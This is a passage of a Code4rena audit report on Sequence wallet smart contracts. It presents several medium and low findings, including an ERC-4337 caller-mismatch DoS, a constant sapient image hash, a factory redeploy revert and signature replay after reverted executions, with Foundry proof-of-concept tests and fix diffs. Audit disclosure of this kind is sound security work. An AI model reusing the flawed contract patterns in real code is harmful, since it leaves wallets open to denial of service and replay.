[M-02] Static signatures bound to caller revert under ERC-4337, causing DoS

Submitted by [Agontuk](#), also found by [Oxnija](#) and [zcaj](#)

<https://github.com/code-423n4/2025-10-sequence/blob/ccc328beeadd28fdbde53b034098c865104fcf3/src/modules/ERC4337v07.sol#L30-L54>

<https://github.com/code-423n4/2025-10-sequence/blob/ccc328beeadd28fdbde53b034098c865104fcf3/src/modules/auth/BaseAuth.sol#L81-L118>

Finding description

Sequence wallets support ERC-4337 by validating signatures inside [validateUserOp\(.\) in ERC4337v07](#). The function enforces that `msg.sender` is the entrypoint and then performs signature verification via an external self-call: `this.isValidSignature(userOpHash, userOp.signature)`. Because of this external call, the `msg.sender` observed inside `isValidSignature()` (implemented in `BaseAuth`) becomes the wallet itself, not the entrypoint. As a result, the static signature validation in `BaseAuth.signatureValidation()`

—which enforces a caller binding—fails whenever a non-zero “expected caller” is set to the entrypoint.

In particular, `BaseAuth.signatureValidation()` checks the static signature’s bound caller using: “`msg.sender` inside `isValidSignature()` is the wallet itself, not the `EntryPoint`”, effectively comparing the configured caller `addr` to the wallet address instead of to the entrypoint.

The code path is:

```
ERC4337v07.validateUserOp() → external self-call this.isValidSignature() →  
BaseAuth.isValidSignature() → BaseAuth.signatureValidation().
```

Inside `signatureValidation()`, the wrong caller check is: `addr != address(0) && addr != msg.sender`, and with a static signature bound to entrypoint, this condition triggers `BaseAuth.InvalidStaticSignatureWrongCaller`.

Root cause: the use of an external self-call (`this.isValidSignature(...)`) in `validateUserOp()` changes the call context such that `msg.sender` inside the signature check becomes the wallet contract rather than the entrypoint. Static signatures that are intentionally bound to a specific caller (e.g., the entrypoint) will always fail under ERC-4337 because the caller comparison is performed against the wallet.

Highest-impact scenario: any ERC-4337 flow that relies on static signatures with a non-zero “expected caller” (for example, binding approval to the entrypoint) will systematically revert with `BaseAuth.InvalidStaticSignatureWrongCaller`, denying valid `UserOperations` and creating a denial-of-service vector. Additionally, because `validateUserOp()` does not handle reverts from `isValidSignature()`, invalid static signatures cause a revert instead of returning `0x00000000`, violating ERC-1271 expectations and amplifying the DoS impact.

All relevant names and logic:

- `ERC4337v07.validateUserOp()` enforces `msg.sender == entrypoint` and calls `this.isValidSignature()`
- `BaseAuth.isValidSignature()` delegates to `signatureValidation()`
- `BaseAuth.signatureValidation()` enforces caller binding and raises `InvalidStaticSignatureWrongCaller` when `addr != address(0) && addr != msg.sender`

Impact

Medium. The issue breaks a supported signature mode (static signatures with bound caller) for ERC-4337 flows, preventing valid operations and enabling DoS when such approvals are required. It does not compromise signature forgery or funds directly, but it blocks operations that depend on caller-bound static signatures and causes systemic failures in those paths.

Likelihood

High. The behavior is deterministic whenever static signatures bind to a non-zero caller (commonly the `entrypoint`) under ERC-4337. Many real configurations use static signatures for approvals and policy enforcement, so the mismatch will be encountered in practice. When present, it triggers on every `validateUserOp()` that relies on these signatures.

Recommended mitigation steps

Avoid the external self-call and explicitly propagate the intended caller into signature validation so that static signatures bound to the `entrypoint` succeed under ERC-4337.

Proof of Concept

Add the test into `test/modules/ERC4337v07.t.sol`. After adding `test_validateUserOp_staticSig_callerMismatch_reverts`, import `BaseAuth` module.

Before running the test run a server using the following command:

```
cd ../sequence.js
pnpm build:packages
pnpm dev:server
```

Then run the test by,

```
forge test --mt test_validateUserOp_staticSig_callerMismatch_reverts
```

Import this:

```
+ import { BaseAuth } from "../../src/modules/auth/BaseAuth.sol";
```

PoC test:

```
// PoC: Static signature with required caller is unusable under ERC-4337
// Because validateUserOp calls `this.isValidSignature`, msg.sender inside
// BaseAuth.signatureValidation is the wallet, not the EntryPoint.
function test_validateUserOp_staticSig_callerMismatch_reverts(
    bytes32 userOpHash
) public {
    // Prepare the digest payload and compute opHash in the wallet domain
    Payload.Decoded memory payload;
    payload.kind = Payload.KIND_DIGEST;
```

```

    payload.digest = userOpHash;
    bytes32 opHash = Payload.hashFor(payload, wallet);

    // Configure a static signature bound to the EntryPoint as required
    caller
    vm.prank(wallet);
    Stage1Module(wallet).setStaticSignature(opHash, address(entryPoint),
    uint96(block.timestamp + 1 days));

    // Build a userOp that uses the static-signature flag (0x80)
    PackedUserOperation memory userOp = _createUserOp(bytes(""),
    hex"80");

    // Under ERC-4337, isValidSignature is called via `this`, so
    msg.sender == wallet.
    // Expect a WrongCaller revert: expected EntryPoint, got wallet.
    vm.prank(address(entryPoint));
    vm.expectRevert(
        abi.encodeWithSelector(
            BaseAuth.InvalidStaticSignatureWrongCaller.selector,
            opHash,
            address(wallet),
            address(entryPoint)
        )
    );
    Stage1Module(wallet).validateUserOp(userOp, userOpHash, 0);
}

```

The test demonstrates the mismatch and resulting revert in the ERC-4337 path by binding a static signature to the entrypoint and attempting to validate a UserOperation. It uses the repository's existing patterns in `test/modules/ERC4337v07.t.sol`.

[M-03] BaseAuth.recoverSapientSignature returns a constant instead of signer image hash, breaking sapient signer flows

Submitted by [Agontuk](#), also found by [Oxnija](#), [axelot](#), [francoHacker](#), and [Nora](#)

<https://github.com/code-423n4/2025-10-sequence/blob/ccc328beeadd28fdbde53b034098c865104fc3/src/modules/auth/BaseAuth.sol#L120-L140>

<https://github.com/code-423n4/2025-10-sequence/blob/ccc328beeadd28fdbde53b034098c865104fc3/src/modules/interfaces/ISapient.sol#L1-L39>

Finding Description

`BaseAuth.recoverSapientSignature()` violates the `ISapient interface` contract by returning a constant value instead of the signer's `imageHash`. The `ISapient` interface specifies that sapient signers “return their own `imageHash`” for the provided payload and signature via `recoverSapientSignature(...)`. However, the implementation in `BaseAuth.recoverSapientSignature()` unconditionally returns `bytes32(uint256(1))`.

Walkthrough and root cause:

- `BaseAuth.recoverSapientSignature()`:
 - Mutates `_payload.parentWallets` by appending `msg.sender`.
 - Calls `signatureValidation(...)` to validate the signature.
 - On success, it returns `bytes32(uint256(1))` rather than the actual sapient signer `image hash`.
- `ISapient.recoverSapientSignature()` contract:
 - `recoverSapientSignature` communicates that the function must return the correct signer `image hash`.
- Downstream consumer:
 - `BaseSig.recoverBranch()` consumes the return value from `ISapient(addr).recoverSapientSignature(...)` as a real `image hash` to construct the Merkle leaf via `_leafForSapient(...)`.
 - When `BaseAuth.recoverSapientSignature()` returns `0x...01`, `BaseSig` incorporates this incorrect “`image hash`” into the merkle calculation, corrupting the final `image hash`.

Highest-impact scenario: If a Sequence wallet is configured to use another Sequence wallet (or itself) as a sapient signer, any signature path that relies on `BaseAuth.recoverSapientSignature()` will produce an incorrect sapient leaf (`imageHash = 0x...01`), causing the overall wallet `image hash` to mismatch the expected configuration. This results in signature validation failure (denial of service) for those flows, making such configurations unusable.

Impact

Medium. The bug violates a public interface contract and deterministically breaks configurations where a Sequence wallet is used as a sapient signer. This leads to denial of service / mis-integration (not a direct privilege escalation), but it renders a supported path unusable. It undermines the correctness of merkle image reconstruction, a core invariant of the system.

Likelihood

Medium. Sapient signers are a first-class feature and used in complex configs. Any integration using BaseAuth as a sapient signer will consistently hit this bug. The issue triggers deterministically whenever `recoverSapientSignature()` is invoked and the signature validates, because the function always returns the constant.

Recommended mitigation steps

Return the actual signer image hash from `BaseAuth.recoverSapientSignature()` to conform to `ISapient` and maintain merkle image correctness.

Two straightforward approaches:

- Extend `signatureValidation(...)` to also return the derived `imageHash` (it already computes it in the dynamic branch via `BaseSig.recover(...)`) and return that from `recoverSapientSignature()`.
- Or directly call `BaseSig.recover(_payload, _signature, false, address(0))` inside `recoverSapientSignature()` and return the `imageHash`.

Proof of Concept

Add PoC test into `test/modules/BaseSig.t.sol` (`BaseSigTest`), import `BaseAuth.sol`, Add a helper contract `MinimalSapient`

```
+ import { BaseAuth } from "../../src/modules/auth/BaseAuth.sol";
```

Helper contract:

```
contract MinimalSapient is BaseAuth {
    function _updateImageHash(bytes32) internal override {}
    function _isValidImage(bytes32) internal view override returns (bool) {
        return true; }
}
```

PoC test:

```
function test_BaseAuth_recoverSapientSignature_ReturnsConstant()
external {
    MinimalSapient sap = new MinimalSapient();

    Payload.Decoded memory payload;
    // Minimal dynamic signature:
    // - signatureFlag = 0x00 (no chain id, no checkpoint bytes, 1-byte
    threshold)
```

```

    // - threshold byte = 0x00 (threshold = 0)
    // - no branch content -> weight defaults to 0, passes since
threshold=0
    bytes memory innerSig = hex"0000";

    bytes32 ret = sap.recoverSapientSignature(payload, innerSig);
    assertEq(ret, bytes32(uint256(1)));
}

```

Before running the test, run a server using the following command:

```

cd ../sequence.js
pnpm build:packages
pnpm dev:server

```

Then run the test from repo root:

```

forge test --mt test_BaseAuth_recoverSapientSignature_ReturnsConstant -
vvv

```

- The new helper contract `MinimalSapient` inherits `BaseAuth`, implements `_updateImageHash()` and `_isValidImage()` trivially to allow calls.
- The PoC test deploys `MinimalSapient`, crafts a minimal valid dynamic base-auth signature with `threshold = 0` and no branch content so it passes `signatureValidation()`, then calls `recoverSapientSignature(...)`.
- Asserts that the function returns `bytes32(uint256(1))`, demonstrating the incorrect constant return instead of a real image hash.

Test result: Test passes, confirming the function returns a constant rather than a true image hash.

[M-04] Factory_deploy reverts instead of returning address when account already exists

Submitted by [pfapostol](#)

<https://github.com/code-423n4/2025-10-sequence/blob/b0e5fb15bf6735ec9aaba02f5eca28a7882d815d/src/Factory.sol#L18-L26>

Finding description

The `Factory.deploy` function uses `create2` to deploy a wallet but reverts (`CreateCollision`) if address already exists.

Per ERC-4337, factories that use deterministic creation **must return the account address even if the account was already created** ([eip-4337](#)) so bundlers and `entryPoint.getSenderAddress()` can simulate/obtain the counterfactual address without failing. The current implementation breaks that invariant: calling the factory when the account already exists will revert instead of returning the existing address, which can break ERC-4337 flows (simulations, `getSenderAddress`, bundler logic, UX).

If the factory does use `CREATE2 0xF5` or some other deterministic method to create the Account, it's expected to return the Account address even if it had already been created.

Additionally, Sequence's wallet implementation and README expect ERC-4337 compatibility (implements `validateUserOp` etc.), so factory behavior is important for integration [README#erc-4337-integration](#)

Impact

1. Compatibility break with ERC-4337.
2. DoS as a result of front-running. According to the contest [README evidence](#), front-running is an important concern, but the focus is mainly on preventing an attacker from deploying a malicious contract. That is achieved by making the contract address deterministic. However, this overlooks the fact that a deterministic address allows an attacker to pre-create a wallet before the user can, causing the user's otherwise valid transaction to revert — which may be critical for tools or contracts that manage wallets automatically.

Recommended mitigation steps

```
{
    bytes memory code = abi.encodePacked(Wallet.creationCode,
uint256(uint160(_mainModule)));

+   bytes32 initCodeHash = keccak256(code);
+   bytes32 raw = keccak256(abi.encodePacked(bytes1(0xff),
address(this), _salt, initCodeHash));
+   address predicted = address(uint160(uint256(raw)));

+   // If contract already exists at predicted address, return it
+   if (predicted.code.length != 0) {
+       return predicted;
+   }

    assembly {
```



```

        _contract := create2(callvalue(), add(code, 32), mload(code),
_salt)
    }
    if (_contract == address(0)) {
        revert DeployFailed(_mainModule, _salt);
    }
}

```

```

[PASS] test_factory_double_deploy_PoC(address,bytes32) (runs: 257, μ:
76183, ~: 76416)
Traces:
  [76416]
AuditPoC::test_factory_double_deploy_PoC(0x00000000000000000000000000000000
000000003cC,
0x0000000000000000000000000000000000000000000000000000000000000025)
  └─ [64550]
Factory::deploy(0x000000000000000000000000000000000000000000000000000003cC,
0x0000000000000000000000000000000000000000000000000000000000000025)
  |   └─ [28742] → new
<unknown>@0x1a59e6b710e25Cfd61a082a5dD7Cf32585B552dA
  |   |   └─ [Return] 33 bytes of code
  |   └─ [Return] 0x1a59e6b710e25Cfd61a082a5dD7Cf32585B552dA
  └─ [0] VM::assertEq(33, 33, "Wallet size mismatch") [staticcall]
    └─ [Return]
  └─ [1257]
Factory::deploy(0x000000000000000000000000000000000000000000000000000003cC,
0x0000000000000000000000000000000000000000000000000000000000000025)
  |   └─ [Return] 0x1a59e6b710e25Cfd61a082a5dD7Cf32585B552dA
  └─ [0] VM::assertEq(33, 33, "Wallet size mismatch") [staticcall]
    └─ [Return]
  └─ [Return]

```

Proof of Concept

1. Deploy Factory and a wallet via `deploy(_mainModule, salt)` once (successful).
2. Call `deploy(_mainModule, salt)` again with same parameters — `create2` will find contract already exists, `create2` returns `CreateCollision` and the function reverts with `DeployFailed(_mainModule, _salt)`.

```

// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.27;

import {FactoryTest} from "test/Factory.t.sol";

```

```

contract AuditPoC is FactoryTest {
    function test_factory_double_deploy_PoC(address _mainModule, bytes32
_salt) public {
        address result = factory.deploy(_mainModule, _salt);
        assertEq(result.code.length, 33, "Wallet size mismatch");

        result = factory.deploy(_mainModule, _salt);
        assertEq(result.code.length, 33, "Wallet size mismatch");
    }
}

```

```

[1040431107]
AuditPoC::test_factory_double_deploy_PoC(0xbFEA7B873B630d3E83310E2a540C06
A45764f0Db,
0xb3f3825fdd0643210f22c977e8adbde170329c48ea748299ef741cfd038c001d)
└─ [61508]
Factory::deploy(0xbFEA7B873B630d3E83310E2a540C06A45764f0Db,
0xb3f3825fdd0643210f22c977e8adbde170329c48ea748299ef741cfd038c001d)
└─ [28742] → new
<unknown>@0x50A3E320ebE97E988a1FDa7080a5F1eFE55E7b0B
└─ [Return] 33 bytes of code
└─ [Return] 0x50A3E320ebE97E988a1FDa7080a5F1eFE55E7b0B
└─ [0] VM::assertEq(33, 33, "Wallet size mismatch") [staticcall]
└─ [Return]
└─ [1040360150]
Factory::deploy(0xbFEA7B873B630d3E83310E2a540C06A45764f0Db,
0xb3f3825fdd0643210f22c977e8adbde170329c48ea748299ef741cfd038c001d)
└─ [0] → new
<unknown>@0x50A3E320ebE97E988a1FDa7080a5F1eFE55E7b0B
└─ [CreateCollision]
└─ [Revert]
DeployFailed(0xbFEA7B873B630d3E83310E2a540C06A45764f0Db,
0xb3f3825fdd0643210f22c977e8adbde170329c48ea748299ef741cfd038c001d)
└─ [Revert]
DeployFailed(0xbFEA7B873B630d3E83310E2a540C06A45764f0Db,
0xb3f3825fdd0643210f22c977e8adbde170329c48ea748299ef741cfd038c001d)

```

Low Risk and Non-Critical Issues

For this audit, 8 reports were submitted by wardens detailing low risk and non-critical issues. The [report highlighted below](#) by montecristo received the top score from the judge.

The following wardens also submitted reports: [Oxvictorsr](#), [adecs](#), [Almanax](#), [eta](#), [KineticsOfWeb3](#), [NexusAudits](#), and [v12](#).

[01] Incorrect intermediate validation of cumulative parameter rules

The `PermissionValidator` incorrectly validates cumulative parameter rules against intermediate values rather than final accumulated totals. This prevents legitimate multi-transaction operations where individual steps don't satisfy the cumulative constraint but the final result does. The validation should be deferred until after all cumulative calculations are complete.

Finding description and impact

`ExplicitSessionManager` has the following parameter rule struct for given session signer:

```
struct ParameterRule {
    bool cumulative;
    ParameterOperation operation;
    bytes32 value;
    uint256 offset;
    bytes32 mask;
}

enum ParameterOperation {
    EQUAL,
    NOT_EQUAL,
    GREATER_THAN_OR_EQUAL,
    LESS_THAN_OR_EQUAL
}
```

If `ParameterRule.cumulative == true`, `PermissionValidator` accumulates value over previous usage:

[File: src/extensions/sessions/explicit/PermissionValidator.sol](#)

```
46: function validatePermission(
47:     Permission memory permission,
48:     Payload.Call calldata call,
49:     address wallet,
50:     address signer,
51:     UsageLimit[] memory usageLimits
52: ) public view returns (bool, UsageLimit[] memory newUsageLimits) {
...
57:     // Copy usage limits into array with space for new rules
```

```

58:     newUsageLimits = new UsageLimit[](usageLimits.length +
permission.rules.length);
59:     for (uint256 i = 0; i < usageLimits.length; i++) {
60:         newUsageLimits[i] = usageLimits[i];
61:     }
...
65:     for (uint256 i = 0; i < permission.rules.length; i++) {
66:         ParameterRule memory rule = permission.rules[i];
67:
68:         // Extract value from calldata at offset
69:         (bytes32 value,) = call.data.readBytes32(rule.offset);
70:
71:         // Apply mask
72:         value = value & rule.mask;
73:
74:         if (rule.cumulative) {
75:             // Calculate cumulative usage
76:             uint256 value256 = uint256(value);
77:             // Find the usage limit for the current rule
78:             bytes32 usageHash = keccak256(abi.encode(signer, permission,
i));
79:             uint256 previousUsage;
80:             UsageLimit memory usageLimit;
81:             for (uint256 j = 0; j < newUsageLimits.length; j++) {
82:                 if (newUsageLimits[j].usageHash == bytes32(0)) {
83:                     // Initialize new usage limit
...
88:                 }
89:                 if (newUsageLimits[j].usageHash == usageHash) {
90:                     // Value exists, use it
91:                     usageLimit = newUsageLimits[j];
92:                     previousUsage = usageLimit.usageAmount;
93:                     break;
94:                 }
95:             }
96:             if (previousUsage == 0) {
97:                 // Not in current payload, use storage
98:                 previousUsage = getLimitUsage(wallet, usageHash);
99:             }
100:            // Cumulate usage
101:            value256 += previousUsage;
102:            usageLimit.usageAmount = value256;
103:            // Use the cumulative value for comparison
104:            value = bytes32(value256);
105:        }

```

This value is checked against rule.operation parameter:

File: src/extensions/sessions/explicit/PermissionValidator.sol:

```
107:         // Compare based on operation
108:         if (rule.operation == ParameterOperation.EQUAL) {
109:             if (value != rule.value) {
110:                 return (false, usageLimits);
111:             }
112:         } else if (rule.operation ==
ParameterOperation.LESS_THAN_OR_EQUAL) {
113:             if (uint256(value) > uint256(rule.value)) {
114:                 return (false, usageLimits);
115:             }
116:         } else if (rule.operation == ParameterOperation.NOT_EQUAL) {
117:             if (value == rule.value) {
118:                 return (false, usageLimits);
119:             }
120:         } else if (rule.operation ==
ParameterOperation.GREATER_THAN_OR_EQUAL) {
121:             if (uint256(value) < uint256(rule.value)) {
122:                 return (false, usageLimits);
123:             }
124:         }
125:     }
```

The problem is that validation is performed on intermediate cumulative values rather than the final accumulated value.

For example, let's consider the following rule:

- cumulative: true
- operation: ParameterOperation.EQUAL
- value: 1e18

Consider usage limits for this rule is accumulated in the following sequence:

- First usage: 0.5e18 → validation fails (0.5e18 ≠ 1e18)
- Second usage: 0.5e18 → validation passes (1e18 = 1e18)

Another example:

Rule:

- cumulative : true
- operation: ParameterOperation.GREATER_THAN_OR_EQUAL
- value: 1e18

Usage limits:

- First usage: $0.5e18 \rightarrow$ validation fails ($0.5e18 < 1e18$)
- Second usage: $0.5e18 \rightarrow$ validation passes ($1e18 \geq 1e18$)

The signature verification fails on the first usage limit validation even though the final cumulative value satisfies the rule. This prevents valid multi-transaction operations where intermediate steps don't individually satisfy the cumulative constraint.

Recommended mitigation steps

For cumulative rules, defer operation validation until after all cumulative calculations are complete. Store intermediate cumulative values without validation, then validate the final accumulated values at the end of the function.

[02] Value usage is incremented for fallback and aborted calls

The session manager incorrectly increments value usage limits for all calls regardless of execution outcome, including failed transactions, fallback-only calls, and aborted operations. This unfairly penalizes session signers by counting unused ETH allocations as consumed.

Finding description and impact

`SessionManager` requires the first call to increment usage limits for the entire payload value sum:

[File: src/extensions/sessions/explicit/ExplicitSessionManager.sol:](#)

```
123: function _validateLimitUsageIncrement(  
124:     Payload.Call calldata call,  
125:     SessionUsageLimits[] memory sessionUsageLimits  
126: ) internal view {  
127:     // Limits call is only required if there are usage limits used  
128:     if (sessionUsageLimits.length > 0) {  
...  
142:         UsageLimit[] memory limits = new UsageLimit[]  
(totalLimitsLength);  
143:         uint256 limitIndex = 0;  
144:         for (uint256 i = 0; i < sessionUsageLimits.length; i++) {  
145:             for (uint256 j = 0; j < sessionUsageLimits[i].limits.length;  
j++) {  
146:@>                 limits[limitIndex++] = sessionUsageLimits[i].limits[j];  
147:             }  
148:             if (sessionUsageLimits[i].totalValueUsed > 0) {  
149:@>                 limits[limitIndex++] = UsageLimit({
```

```

150:         usageHash:
keccak256(abi.encode(sessionUsageLimits[i].signer,
VALUE_TRACKING_ADDRESS)),
151:         usageAmount: sessionUsageLimits[i].totalValueUsed
152:     });
153: }
154: }
155:
156:     // Verify the increment call data
157:     bytes memory expectedData =
abi.encodeWithSelector(this.incrementUsageLimit.selector, limits);
158:     bytes32 expectedDataHash = keccak256(expectedData);
159:     bytes32 actualDataHash = keccak256(call.data);
160:     if (actualDataHash != expectedDataHash) {
161:         revert SessionErrors.InvalidLimitUsageIncrement();
162:     }

```

The validation requires incrementing usage limits for the total planned value across all calls, without considering which calls will actually execute successfully. This creates unfair over-counting in several scenarios:

For example, consider the following calls:

- First
 - value: 10 ether
 - onlyFallback: false
 - behaviorOnError: IGNORE
- Second
 - value: 10 ether
 - onlyFallback: true
 - behaviorOnError: REVERT
- Third
 - value: 10 ether
 - onlyFallback: false
 - behaviorOnError: ABORT

Payload should prepend a usage limit increment call. Usage limit should be increased to 30 ether.

But consider the following happened on execute:

- First: reverted
- Second: succeeded
- Third: reverted

The actual amount of ether that the session has spent is 10 ether for only second call. However, usage limit will be increased by 30 ether for the spender.

Recommended mitigation steps

Track value usage based on actual execution outcomes rather than planned allocations.

[03] Nonce consumption reverts on execution failure enabling signature replay attacks

The Calls contract consumes nonces before execution but reverts this consumption when calls fail, leaving signatures permanently valid for replay. This allows attackers to replay failed transactions indefinitely, particularly dangerous for signatures without expiry timestamps like ETH_SIGN signatures.

Finding description and impact

The Calls contract consumes nonces during the initial execution phase before any calls are executed:

[File: /home/user/develop/code4rena/2025-10-sequence/src/modules/Calls.sol:](#)

```
36:  function execute(bytes calldata _payload, bytes calldata
    _signature) external payable virtual nonReentrant {
37:      uint256 startingGas = gasleft();
38:      Payload.Decoded memory decoded =
    Payload.fromPackedCalls(_payload);
39:
40:@>  _consumeNonce(decoded.space, decoded.nonce);
41:      (bool isValid, bytes32 opHash) = signatureValidation(decoded,
    _signature);
42:
43:      if (!isValid) {
44:          revert InvalidSignature(decoded, _signature);
45:      }
46:
47:      _execute(startingGas, opHash, decoded);
48:  }
```

However, when execution fails with BEHAVIOR_REVERT_ON_ERROR or any other reason, the entire transaction reverts - including the nonce consumption:

[File: src/modules/Calls.sol:](#)


```

62:   function _execute(uint256 _startingGas, bytes32 _opHash,
Payload.Decoded memory _decoded) private {
...
65:       uint256 numCalls = _decoded.calls.length;
66:       for (uint256 i = 0; i < numCalls; i++) {
...
109:
110:         if (call.behaviorOnError ==
Payload.BEHAVIOR_REVERT_ON_ERROR) {
111:@>             revert Reverted(_decoded, i, LibOptim.returnData());
112:         }

```

At this point, signature is still valid and publicly visible on chain. Moreover, some signature types (e.g. ETH_SIGN) don't have expiry timestamp. This creates a critical vulnerability where signatures remain permanently valid after failed executions. The impact is particularly severe because:

- **No expiry timestamp:** Some signature types, e.g. FLAG_SIGNATURE_HASH and FLAG_SIGNATURE_ETH_SIGN signatures remain valid indefinitely
- **Failed transactions expose signatures on-chain:** Even though the transaction reverts, the signature is visible in transaction calldata
- **Timing-based attacks become possible:** Attackers can wait for favorable market conditions to replay previously failed transactions

Recommended mitigation steps

- Introduce a nonce invalidation mechanism.
- Preserve nonce consumption even after the failure

```

diff --git a/src/modules/Calls.sol b/src/modules/Calls.sol
index cd3f009..acc3829 100644
--- a/src/modules/Calls.sol
+++ b/src/modules/Calls.sol
@@ -44,7 +44,7 @@ abstract contract Calls is ReentrancyGuard, BaseAuth,
Nonce {
    revert InvalidSignature(decoded, _signature);
}

-   _execute(startingGas, opHash, decoded);
+   try this.selfExecute(_payload) { } catch { }
}

/// @notice Execute a call

```

[04] Unnecessary bitmasking in `LibBytes::readUnitX`

File: [src/utils/LibBytes.sol](#):

```
68: function readUnitX(  
69:     bytes calldata _data,  
70:     uint256 _index,  
71:     uint256 _length  
72: ) internal pure returns (uint256 a, uint256 newPointer) {  
73:     assembly {  
74:         let word := calldataload(add(_index, _data.offset))  
75:         let shift := sub(256, mul(_length, 8))  
76:@> a := and(shr(shift, word), sub(shl(mul(8, _length), 1), 1))  
77:         newPointer := add(_index, _length)  
78:     }  
79: }
```

When you use `shr(shift, word)`, you're already shifting the desired bytes to the rightmost position, and the left bits become zeros automatically due to the shift operation. Thus, masking is redundant.

Recommended mitigation steps

```
diff --git a/src/utils/LibBytes.sol b/src/utils/LibBytes.sol  
index 0dd0bac..edd1dc2 100644  
--- a/src/utils/LibBytes.sol  
+++ b/src/utils/LibBytes.sol  
@@ -73,7 +73,7 @@ library LibBytes {  
    assembly {  
        let word := calldataload(add(_index, _data.offset))  
        let shift := sub(256, mul(_length, 8))  
-        a := and(shr(shift, word), sub(shl(mul(8, _length), 1), 1))  
+        a := shr(shift, word)  
        newPointer := add(_index, _length)  
    }  
}
```

[05] Inefficient usage limit increment call

`SessionManager` contract requires unnecessary `incrementUsageLimit` calls for signers with any historical ETH usage, even when no ETH is being spent in the current transaction. This wastes gas and increases calldata size without providing any functional benefit.

Finding descriptions and impact

Session signer's cumulative ETH usage is be stored in `limitUsage[wallet][usageHash]` storage variable. When session manager prepares session usage limits, `limits.totalValueUsed` will be initialized with this stored value:

[File: src/extensions/sessions/SessionManager.sol:](#)

```
31:  function recoverSapientSignature(  
32:      Payload.Decoded calldata payload,  
33:      bytes calldata encodedSignature  
34:  ) external view returns (bytes32) {  
...  
51:      // Initialize session usage limits for explicit session  
52:      SessionUsageLimits[] memory sessionUsageLimits = new  
SessionUsageLimits[](payload.calls.length);  
53:  
54:      for (uint256 i = 0; i < payload.calls.length; i++) {  
...  
73:          if (callSignature.isImplicit) {  
...  
78:      } else {  
79:          // Find the session usage limits for the current call  
80:          SessionUsageLimits memory limits;  
81:          uint256 limitsIdx;  
82:          for (limitsIdx = 0; limitsIdx < sessionUsageLimits.length;  
limitsIdx++) {  
83:              if (sessionUsageLimits[limitsIdx].signer == address(0)) {  
84:                  // Initialize new session usage limits  
...  
88:@>          limits.totalValueUsed = getLimitUsage(wallet, usageHash);
```

So if the session signer has already spent some ETH from this wallet, `limits.totalValueUsed` will always be greater than 0. The session manager validates limit usage increment calls at the end. All limits with `totalValueUsed > 0` must be included in the `incrementUsageLimit` call's `limits` array arg:

[File: src/extensions/sessions/explicit/ExplicitSessionManager.sol:](#)

```
123:  function _validateLimitUsageIncrement(  
124:      Payload.Call calldata call,  
125:      SessionUsageLimits[] memory sessionUsageLimits  
126:  ) internal view {  
127:      // Limits call is only required if there are usage limits used  
128:      if (sessionUsageLimits.length > 0) {
```

```

...
135:     uint256 totalLimitsLength = 0;
136:     for (uint256 i = 0; i < sessionUsageLimits.length; i++) {
137:         totalLimitsLength += sessionUsageLimits[i].limits.length;
138:@>     if (sessionUsageLimits[i].totalValueUsed > 0) {
139:         totalLimitsLength++;
140:     }
141:     }
142:     UsageLimit[] memory limits = new UsageLimit[]
(totalLimitsLength);
143:     uint256 limitIndex = 0;
144:     for (uint256 i = 0; i < sessionUsageLimits.length; i++) {
145:         for (uint256 j = 0; j < sessionUsageLimits[i].limits.length;
j++) {
146:             limits[limitIndex++] = sessionUsageLimits[i].limits[j];
147:         }
148:@>     if (sessionUsageLimits[i].totalValueUsed > 0) {
149:         limits[limitIndex++] = UsageLimit({
150:             usageHash:
keccak256(abi.encode(sessionUsageLimits[i].signer,
VALUE_TRACKING_ADDRESS)),
151:             usageAmount: sessionUsageLimits[i].totalValueUsed
152:         });
153:     }
154:     }
155:
156:     // Verify the increment call data
157:     bytes memory expectedData =
abi.encodeWithSelector(this.incrementUsageLimit.selector, limits);
158:     bytes32 expectedDataHash = keccak256(expectedData);
159:     bytes32 actualDataHash = keccak256(call.data);
160:@>     if (actualDataHash != expectedDataHash) {
161:         revert SessionErrors.InvalidLimitUsageIncrement();
162:     }
163:     } else {
164:         // Do not allow self calls if there are no usage limits
165:         if (call.to == address(this)) {
166:             revert SessionErrors.InvalidLimitUsageIncrement();
167:         }
168:     }
169: }
170:

```

The issue arises because:

- Once a signer spends ETH from a wallet, `limitUsage[wallet][usageHash]` becomes permanently non-zero.
- The `usageHash` is derived only from the signer's address, so it remains constant.
- This forces `incrementUsageLimit` calls even when the current transaction spends zero ETH.
- The call must include the same `usageAmount` as the stored value, providing no incremental update.

This results in permanently inflated transaction payloads and wasted gas for all future transactions from signers with any ETH spending history.

Recommended mitigation steps

Only require `incrementUsageLimit` calls when the current transaction actually increments usage limits. Track current transaction ETH usage separately from historical totals, and only validate increment calls when `call.value > 0` or other usage parameters are actually being updated.

[06] Duplicated delegate call validations

`SessionManager` does not allow delegate call at the top-level:

[File: `src/extensions/sessions/SessionManager.sol`:](#)

```

31: function recoverSapientSignature(
32:     Payload.Decoded calldata payload,
33:     bytes calldata encodedSignature
34: ) external view returns (bytes32) {
...
54:     for (uint256 i = 0; i < payload.calls.length; i++) {
55:         Payload.Call calldata call = payload.calls[i];
56:
57:         // Ban delegate calls
58:@>     if (call.delegateCall) {
59:         revert SessionErrors.InvalidDelegateCall();
60:     }

```

However, delegate call ban happens in nested implicit call and explicit call validations:

[File: `src/extensions/sessions/implicit/ImplicitSessionManager.sol`:](#)

```

22: function _validateImplicitCall(
23:     Payload.Call calldata call,
24:     address wallet,

```

```

25:     address sessionSigner,
26:     Attestation memory attestation,
27:     address[] memory blacklist
28: ) internal view {
...
34:     // Delegate calls are not allowed
35:@> if (call.delegateCall) {
36:     revert SessionErrors.InvalidDelegateCall();
37: }

```

[File: src/extensions/sessions/explicit/ExplicitSessionManager.sol:](#)

```

42: function _validateExplicitCall(
43:     Payload.Decoded calldata payload,
44:     uint256 callIdx,
45:     address wallet,
46:     address sessionSigner,
47:     SessionPermissions[] memory allSessionPermissions,
48:     uint8 permissionIdx,
49:     SessionUsageLimits memory sessionUsageLimits
50: ) internal view returns (SessionUsageLimits memory
newSessionUsageLimits) {
...
73:     // Delegate calls are not allowed
74:     Payload.Call calldata call = payload.calls[callIdx];
75:@> if (call.delegateCall) {
76:     revert SessionErrors.InvalidDelegateCall();
77: }

```

Thus, top-level delegate call banning is redundant and should be removed.

Disclosures

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.